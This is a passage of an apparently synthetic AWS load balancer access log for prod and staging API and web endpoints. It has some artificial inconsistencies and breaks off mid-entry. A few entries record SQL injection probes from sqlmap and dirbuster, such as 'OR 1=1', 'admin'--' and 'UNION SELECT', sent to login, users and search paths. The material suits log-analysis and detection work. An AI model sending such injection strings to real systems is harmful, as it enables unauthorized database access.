2024-11-01T00:07:47.684041Z prod-api-alb 75.42.135.195:34182 10.0.175.241:443 0.020904 0.336798 0.009447 200 200 126 2090 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b963-0cea6e4d91474ada853dedb6" "prod-api-alb.example.com" "-" 3 2024-11-01T00:07:47.684041Z "forward" "-" "-" "10.0.175.241:443" "200" "-" "-" -https 2024-11-01T00:07:48.246404Z prod-api-alb 201.208.140.19:44329 10.0.168.105:443 0.075543 0.196484 0.082888 404 404 712 7085 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b964-e0a2c20c7ec84edd9e40326e" "prod-api-alb.example.com" "-" 9 2024-11-01T00:07:48.246404Z "forward" "-" "-" "10.0.168.105:443" "404" "-" "-" -https 2024-11-01T00:07:49.125941Z prod-api-alb 217.46.181.237:11831 10.0.167.151:443 0.096088 0.120069 0.063090 302 302 237 7002 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b965-884372325f4a4d73af214582" "prod-api-alb.example.com" "-" 8 2024-11-01T00:07:49.125941Z "forward" "-" "-" "10.0.167.151:443" "302" "-" "-" -https 2024-11-01T00:07:51.019108Z staging-alb 222.177.99.86:17930 124.115.241.12:80 0.088968 0.673289 0.134632 200 200 830 3622 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b967-ad22ea9529da43b5a21506fb" "staging-alb.example.com" "-" 7 2024-11-01T00:07:51.019108Z "forward" "-" "-" "124.115.241.12:80" "200" "-" "-" -https 2024-11-01T00:07:51.773215Z prod-web-alb 155.65.52.215:51871 10.0.206.158:443 0.014364 0.095159 0.001324 200 200 741 8586 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b967-d86234ebf87a4abf8635b7a8" "prod-web-alb.example.com" "-" 8 2024-11-01T00:07:51.773215Z "forward" "-" "-" "10.0.206.158:443" "200" "-" "-" -https 2024-11-01T00:07:52.916363Z staging-alb 8.59.20.113:10398 191.218.82.200:80 0.101063 0.694701 0.094199 302 302 468 13813 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b968-f5d0707bf5fb492ab1dc1a89" "staging-alb.example.com" "-" 6 2024-11-01T00:07:52.916363Z "forward" "-" "-" "191.218.82.200:80" "302" "-" "-" -http 2024-11-01T00:07:53.701618Z staging-alb 69.99.223.198:34916 71.209.195.164:8080 0.093217 0.007615 0.119111 200 200 635 7674 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b969-50152d734e14498db048b9d9" "staging-alb.example.com" "-" 5 2024-11-01T00:07:53.701618Z "forward" "-" "-" "71.209.195.164:8080" "200" "-" "-" -https 2024-11-01T00:07:54.757577Z staging-alb 45.155.205.149:47804 200.135.129.127:8080 0.119332 0.719271 0.083138 200 200 273 6427 "POST /search?q=1' UNION SELECT HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b96a-431b2ef2ef3c4557a47734d1" "-" "-" 8 2024-11-01T00:07:54.757577Z "forward" "-" "-" "200.135.129.127:8080" "200" "-" "-" -http 2024-11-01T00:07:55.669259Z staging-alb 150.131.17.229:11978 143.224.182.45:443 0.145890 0.311128 0.064912 200 200 290 3608 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b96b-75c1fbfedb0a42fda8560720" "staging-alb.example.com" "-" 7 2024-11-01T00:07:55.669259Z "forward" "-" "-" "143.224.182.45:443" "200" "-" "-" -http 2024-11-01T00:07:56.812957Z staging-alb 44.124.192.75:53938 88.46.169.50:443 0.098547 0.189219 0.103782 200 200 441 5962 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b96c-f7c795abbefd4ea3927b6726" "staging-alb.example.com" "-" 4 2024-11-01T00:07:56.812957Z "forward" "-" "-" "88.46.169.50:443" "200" "-" "-" -https 2024-11-01T00:07:58.209722Z prod-web-alb 55.221.143.203:17772 10.0.156.127:443 0.063443 0.069238 0.087469 200 200 540 14536 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b96e-495292b11a3a49ca928e8cdc" "prod-web-alb.example.com" "-" 0 2024-11-01T00:07:58.209722Z "forward" "-" "-" "10.0.156.127:443" "200" "-" "-" -https 2024-11-01T00:07:58.764382Z prod-web-alb 185.181.118.169:43675 10.0.114.232:443 0.018903 0.229764 0.096567 500 500 218 10198 "POST /users?id=1 OR 1=1 HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b96e-3c71be5f1b2a45edb2dd2830" "-" "-" 0 2024-11-01T00:07:58.764382Z "forward" "-" "-" "10.0.114.232:443" "500" "-" "-" -http 2024-11-01T00:07:59.989910Z staging-alb 185.181.118.169:20406 166.177.238.176:443 0.017374 0.500358 0.065699 403 403 583 1688 "POST /admin/login?username=admin'--&password=x HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b96f-e708a29992824f029cc7cab9" "-" "-" 5 2024-11-01T00:07:59.989910Z "forward" "-" "-" "166.177.238.176:443" "403" "-" "-" -https 2024-11-01T00:08:01.318213Z prod-api-alb 110.64.126.128:37614 10.0.191.106:443 0.049740 0.148650 0.064000 200 200 937 8507 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b971-000d0b45e6014046b40c2fed" "prod-api-alb.example.com" "-" 6 2024-11-01T00:08:01.318213Z "forward" "-" "-" "10.0.191.106:443" "200" "-" "-" -https 2024-11-01T00:08:02.205832Z prod-api-alb 124.208.245.147:11889 10.0.92.158:443 0.018995 0.167451 0.093589 301 301 878 8066 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b972-70f7b57e18ff4dff8bfa6be9" "prod-api-alb.example.com" "-" 9 2024-11-01T00:08:02.205832Z "forward" "-" "-" "10.0.92.158:443" "301" "-" "-" -https 2024-11-01T00:08:03.355183Z staging-alb 249.5.54.148:53698 103.86.244.11:8080 0.024315 0.333266 0.131571 200 200 375 14691 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b973-3c2856ac3f144fe08e494e82" "staging-alb.example.com" "-" 7 2024-11-01T00:08:03.355183Z "forward" "-" "-" "103.86.244.11:8080" "200" "-" "-" -https 2024-11-01T00:08:03.577783Z prod-api-alb 62.170.33.249:41792 10.0.165.178:443 0.076190 0.172463 0.002317 301 301 79 14778 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b973-1442f23e855d4fd794557813" "prod-api-alb.example.com" "-" 1 2024-11-01T00:08:03.577783Z "forward" "-" "-" "10.0.165.178:443" "301" "-" "-" -https 2024-11-01T00:08:04.547914Z prod-api-alb 95.174.193.131:25059 10.0.69.36:443 0.045468 0.028427 0.052473 302 302 362 4195 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b974-f905ba6991804cadbc18a556" "prod-api-alb.example.com" "-" 4 2024-11-01T00:08:04.547914Z "forward" "-" "-" "10.0.69.36:443" "302" "-" "-" -https 2024-11-01T00:08:05.041430Z staging-alb 36.95.47.62:49538 88.172.127.169:8080 0.000986 0.315920 0.005355 200 200 717 4131 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b975-a1483c07a6574b768f9cac44" "staging-alb.example.com" "-" 7 2024-11-01T00:08:05.041430Z "forward" "-" "-" "88.172.127.169:8080" "200" "-" "-" -https 2024-11-01T00:08:07.032245Z prod-web-alb 245.244.68.177:60142 10.0.169.213:443 0.013854 0.422883 0.072734 302 302 639 4876 "GET /products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b977-92f2e77a0aee40a792891127" "prod-web-alb.example.com" "-" 5 2024-11-01T00:08:07.032245Z "forward" "-" "-" "10.0.169.213:443" "302" "-" "-" -https 2024-11-01T00:08:08.271160Z staging-alb 32.206.185.95:13012 225.73.205.22:443 0.083861 0.648613 0.121056 404 404 904 5965 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b978-7483fdab38514a869ac496da" "staging-alb.example.com" "-" 9 2024-11-01T00:08:08.271160Z "forward" "-" "-" "225.73.205.22:443" "404" "-" "-" -https 2024-11-01T00:08:08.373922Z prod-api-alb 231.16.105.163:29479 10.0.108.18:443 0.060029 0.393445 0.060803 200 200 370 5460 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b978-30cf59aef8a64ba7ad0916ec" "prod-api-alb.example.com" "-" 6 2024-11-01T00:08:08.373922Z "forward" "-" "-" "10.0.108.18:443" "200" "-" "-" -https 2024-11-01T00:08:08.910076Z staging-alb 172.91.3.155:41870 21.172.46.46:80 0.036036 0.703587 0.054299 200 200 487 10359 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b978-748a050062654b8783a6db94" "staging-alb.example.com" "-" 0 2024-11-01T00:08:08.910076Z "forward" "-" "-" "21.172.46.46:80" "200" "-" "-" -https 2024-11-01T00:08:10.243602Z prod-api-alb 132.204.206.152:10906 10.0.231.26:443 0.052146 0.348847 0.015920 200 200 153 7749 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b97a-9dbed59cf5fd497ab205734c" "prod-api-alb.example.com" "-" 5 2024-11-01T00:08:10.243602Z "forward" "-" "-" "10.0.231.26:443" "200" "-" "-" -https 2024-11-01T00:08:10.639688Z prod-api-alb 254.93.17.37:61899 10.0.205.43:443 0.067937 0.425193 0.053309 200 200 365 4363 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b97a-56f79c7f5c784aed99357d82" "prod-api-alb.example.com" "-" 0 2024-11-01T00:08:10.639688Z "forward" "-" "-" "10.0.205.43:443" "200" "-" "-" -https 2024-11-01T00:08:11.100906Z prod-web-alb 203.96.88.93:64484 10.0.237.253:443 0.009626 0.274353 0.034018 302 302 15 12441 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b97b-7182ac524f2a4ba992d46998" "prod-web-alb.example.com" "-" 6 2024-11-01T00:08:11.100906Z "forward" "-" "-" "10.0.237.253:443" "302" "-" "-" -https 2024-11-01T00:08:11.870244Z staging-alb 57.209.98.238:43116 161.110.220.64:8080 0.113734 0.031438 0.094536 302 302 355 10747 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b97b-bf31f49a7265406a979604c3" "staging-alb.example.com" "-" 9 2024-11-01T00:08:11.870244Z "forward" "-" "-" "161.110.220.64:8080" "302" "-" "-" -https 2024-11-01T00:08:12.150254Z prod-web-alb 44.185.42.49:37771 10.0.180.137:443 0.037577 0.128512 0.022397 404 404 323 9875 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b97c-2546dd0c327f42e2895a7a90" "-" "-" 0 2024-11-01T00:08:12.150254Z "forward" "-" "-" "10.0.180.137:443" "404" "-" "-" -https 2024-11-01T00:08:12.350092Z prod-api-alb 167.124.124.161:33368 10.0.160.226:443 0.090781 0.447998 0.071865 200 200 752 6879 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b97c-7f11a91625de42d8a6eed82b" "prod-api-alb.example.com" "-" 6 2024-11-01T00:08:12.350092Z "forward" "-" "-" "10.0.160.226:443" "200" "-" "-" -https 2024-11-01T00:08:13.002227Z prod-web-alb 232.87.29.98:27568 10.0.204.53:443 0.087172 0.230171 0.073653 200 200 651 12038 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b97d-20c6ef9072f643d1a1237afc" "prod-web-alb.example.com" "-" 6 2024-11-01T00:08:13.002227Z "forward" "-" "-" "10.0.204.53:443" "200" "-" "-" -https 2024-11-01T00:08:14.016848Z staging-alb 45.155.205.149:29505 16.3.138.36:8080 0.031526 0.125212 0.065150 403 403 97 11030 "POST /login?id=1'-- HTTP/1.1" "dirbuster/1.0-RC1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b97e-04a72ea28da0412d96c5d200" "-" "-" 10 2024-11-01T00:08:14.016848Z "forward" "-" "-" "16.3.138.36:8080" "403" "-" "-" -https 2024-11-01T00:08:14.952430Z prod-web-alb 229.237.174.127:42379 10.0.136.77:443 0.086847 0.402979 0.033825 200 200 681 919 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b97e-05f5de7822574977a3dc9e36" "prod-web-alb.example.com" "-" 9 2024-11-01T00:08:14.952430Z "forward" "-" "-" "10.0.136.77:443" "200" "-" "-" -https 2024-11-01T00:08:15.358635Z prod-api-alb 158.229.12.104:48838 10.0.123.171:443 0.085937 0.096820 0.040442 200 200 784 13011 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b97f-de29aedf38664de099487138" "prod-api-alb.example.com" "-" 9 2024-11-01T00:08:15.358635Z "forward" "-" "-" "10.0.123.171:443" "200" "-" "-" -https 2024-11-01T00:08:16.743106Z prod-web-alb 170.255.149.115:60097 10.0.13.55:443 0.059707 0.434381 0.034717 200 200 445 7712 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b980-ae4e9239fd1549158968057a" "prod-web-alb.example.com" "-" 5 2024-11-01T00:08:16.743106Z "forward" "-" "-" "10.0.13.55:443" "200" "-" "-" -https 2024-11-01T00:08:17.433294Z prod-web-alb 204.218.83.195:55785 10.0.66.124:443 0.047865 0.347202 0.011534 200 200 589 6451 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b981-5ff96f5ef0534f4eb0433cd8" "prod-web-alb.example.com" "-" 4 2024-11-01T00:08:17.433294Z "forward" "-" "-" "10.0.66.124:443" "200" "-" "-" -https 2024-11-01T00:08:18.658653Z prod-api-alb 168.104.151.189:59355 10.0.232.253:443 0.014094 0.035309 0.011687 302 302 994 12772 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b982-5e3d94bbf73c43db8be0a0a5" "-" "-" 7 2024-11-01T00:08:18.658653Z "forward" "-" "-" "10.0.232.253:443" "302" "-" "-" -https 2024-11-01T00:08:19.736676Z prod-api-alb 245.81.197.135:35134 10.0.197.35:443 0.011282 0.306298 0.034423 302 302 253 14310 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b983-ad0957c3badb4c42988fa848" "prod-api-alb.example.com" "-" 7 2024-11-01T00:08:19.736676Z "forward" "-" "-" "10.0.197.35:443" "302" "-" "-" -https 2024-11-01T00:08:20.164076Z staging-alb 114.90.76.58:55112 196.20.129.27:80 0.095322 0.240220 0.029907 200 200 711 13168 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b984-94c7bd1446ab4ca5ac8b3aba" "staging-alb.example.com" "-" 3 2024-11-01T00:08:20.164076Z "forward" "-" "-" "196.20.129.27:80" "200" "-" "-" -http 2024-11-01T00:08:21.358169Z staging-alb 94.152.40.123:57867 55.60.101.0:8080 0.142223 0.129986 0.126827 302 302 198 2202 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b985-5d6ea24b1e474592b94f58ae" "staging-alb.example.com" "-" 0 2024-11-01T00:08:21.358169Z "forward" "-" "-" "55.60.101.0:8080" "302" "-" "-" -http 2024-11-01T00:08:22.367719Z staging-alb 196.131.232.68:60917 226.161.17.76:443 0.109527 0.195052 0.035628 200 200 240 7231 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b986-33ed802bd48547f7bf941b7b" "staging-alb.example.com" "-" 3 2024-11-01T00:08:22.367719Z "forward" "-" "-" "226.161.17.76:443" "200" "-" "-" -https 2024-11-01T00:08:22.581525Z prod-api-alb 253.129.45.247:11211 10.0.115.140:443 0.065931 0.250927 0.038569 302 302 227 7675 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b986-48e5180ccc77489eb5221d86" "prod-api-alb.example.com" "-" 10 2024-11-01T00:08:22.581525Z "forward" "-" "-" "10.0.115.140:443" "302" "-" "-" -http 2024-11-01T00:08:22.993028Z staging-alb 247.173.180.239:12673 30.239.118.135:8080 0.076922 0.714493 0.013373 302 302 691 7243 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b986-3654abd2524f4ecba95f4f6e" "staging-alb.example.com" "-" 5 2024-11-01T00:08:22.993028Z "forward" "-" "-" "30.239.118.135:8080" "302" "-" "-" -https 2024-11-01T00:08:23.840555Z prod-web-alb 110.214.66.30:60709 10.0.185.203:443 0.095533 0.122323 0.029397 200 200 358 2930 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b987-f269b1d8f01b4671bc071ed7" "prod-web-alb.example.com" "-" 8 2024-11-01T00:08:23.840555Z "forward" "-" "-" "10.0.185.203:443" "200" "-" "-" -https 2024-11-01T00:08:24.047332Z prod-web-alb 83.248.200.2:63672 10.0.102.79:443 0.041913 0.416294 0.003151 200 200 68 5447 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b988-38ad1d1111a845f18099e00a" "prod-web-alb.example.com" "-" 5 2024-11-01T00:08:24.047332Z "forward" "-" "-" "10.0.102.79:443" "200" "-" "-" -https 2024-11-01T00:08:25.943194Z prod-web-alb 150.105.203.179:12513 10.0.236.253:443 0.014543 0.175132 0.040060 200 200 8 7124 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b989-af186b76d3a74b8ea0fce00b" "prod-web-alb.example.com" "-" 0 2024-11-01T00:08:25.943194Z "forward" "-" "-" "10.0.236.253:443" "200" "-" "-" -https 2024-11-01T00:08:26.883171Z prod-web-alb 194.245.120.7:48622 10.0.86.53:443 0.071092 0.460258 0.001612 200 200 948 5620 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b98a-80933ef11874465db2aaf955" "prod-web-alb.example.com" "-" 4 2024-11-01T00:08:26.883171Z "forward" "-" "-" "10.0.86.53:443" "200" "-" "-" -https 2024-11-01T00:08:27.079566Z prod-web-alb 113.118.186.129:25507 10.0.164.141:443 0.027921 0.476121 0.001236 200 200 988 946 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b98b-dff509e05f334a6392a8573e" "prod-web-alb.example.com" "-" 1 2024-11-01T00:08:27.079566Z "forward" "-" "-" "10.0.164.141:443" "200" "-" "-" -https 2024-11-01T00:08:27.976599Z prod-api-alb 202.166.131.141:37430 10.0.176.6:443 0.094791 0.272994 0.076585 200 200 900 8804 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b98b-5b0f1055159a4906824f4d73" "prod-api-alb.example.com" "-" 6 2024-11-01T00:08:27.976599Z "forward" "-" "-" "10.0.176.6:443" "200" "-" "-" -https 2024-11-01T00:08:29.308051Z prod-web-alb 11.88.115.33:17051 10.0.162.151:443 0.099455 0.227584 0.044944 